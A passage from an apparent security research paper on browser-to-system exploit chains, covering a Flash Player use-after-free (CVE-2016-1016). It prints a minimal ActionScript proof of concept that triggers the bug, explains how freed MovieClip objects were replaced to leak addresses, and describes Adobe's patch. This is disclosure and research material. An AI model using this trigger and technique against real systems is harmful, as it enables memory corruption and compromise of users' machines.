$hell on Earth

Here is a minimal PoC that triggers this vulnerability:
var arrMovieClips:Array = new Array(0x500);
for ( var i = 0; i < arrMovieClips.length; ++ i ) {
arrMovieClips[i] = swfRoot.createEmptyMovieClip(“mc” + i,
swfRoot.getNextHighestDepth());
}
var mc:MovieClip = arrMovieClips[arrMovieClips.length - 0x100];
var t = new Transform(mc);
var geom = _global[“flash”][“geom”];
var OriginalMatrix = flash.geom.Matrix;
geom.addProperty(‘Matrix’,function() {
for ( var i = arrMovieClips.length - 0x200; i < arrMovieClips.length; ++
i )
arrMovieClips[i].removeMovieClip();
return OriginalMatrix;
}, function() {} );
var m = t.matrix;
Exploitation of CVE-2016-1016
Exploitation of this vulnerability occurred by triggering the free of MovieClip objects within the custom
accessor on the geom object and replacing them with custom AS3 objects. At this point, the addresses
of controlled objects are known and passed on to the last vulnerability in the userland exploit.
CVE-2016-1016 Patch
To patch this vulnerability, Adobe modified the handler for Transform objects in AS2 by adding a stack
variable to store the contents of the matrix prior to calling the copy routine.
Although hijacking the matrix property of flash.geom is still possible to free the original matrix property,
nothing malicious can occur.
26 | <strong>$hell</strong> on Earth: From Browser to System Compromise